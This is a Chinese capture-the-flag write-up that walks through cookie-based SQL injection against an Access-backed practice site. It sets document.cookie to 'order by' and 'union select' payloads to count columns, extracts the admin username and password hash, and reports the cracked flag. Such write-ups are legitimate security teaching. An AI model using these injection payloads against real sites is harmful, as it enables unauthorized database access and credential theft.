Acess注入—Cookie注入
靶场地址
原理:php中的$_REQUEST[] 可以获取POST|GET|COOKIE传参,可以通过burp的抓包,修改cookie的参数,也可以通过控制台,利用JS来进行cookie注入
第一题:
我们进去靶场随便点一个链接,进入具有id传参的界面。
我们先尝试,是否能进行GET传参进行显错注入
发现被禁止了,于是我们尝试cookie注入
打开burp抓包
去掉上面的id=171,在cookie后面加;闭合,再输入id=171,看看语句是是否执行
然后放包,发现上面没有id传参,但是页面返回正常
代表,我输入的语句成功实行了,于是在控制台,利用JS判断字段数
document.cookie="id="+escape("171 order by 1")
页面正常,我们继续增大,到11
document.cookie="id="+escape("171 order by 11")
出错,我们输入10
document.cookie="id="+escape("171 order by 10")
页面正常,于是我们判定存在10个字段,继续输入JS语句
document.cookie="id="+escape("171 union select 1,2,3,4,5,6,7,8,9,10 from admin")
因为access数据库,只有一个库名,所以需要写from admin ,找到数据库的输出位2,3,7,8,9
判断表名,我们可以用猜的方法,手动爆破
但是对于新手来说,更适合用burp爆破,于是我们抓包
抓到数据包,找到可能的表名
很多表名,但是一般在盛行Access数据库的年代,都在admin表的username和password字段
所以我们直接输入
document.cookie="id="+escape("171 union select 1,username,3,4,5,6,7,8,9,10 from admin")
找到账号admin
继续输入
document.cookie="id="+escape("171 union select 1,password,3,4,5,6,7,8,9,10 from admin")
找到密码
b9a2a2b5dffb918c
在后台登陆
但是密码错误
进行密码md5解密
拿到flag:zkz{welcome-control}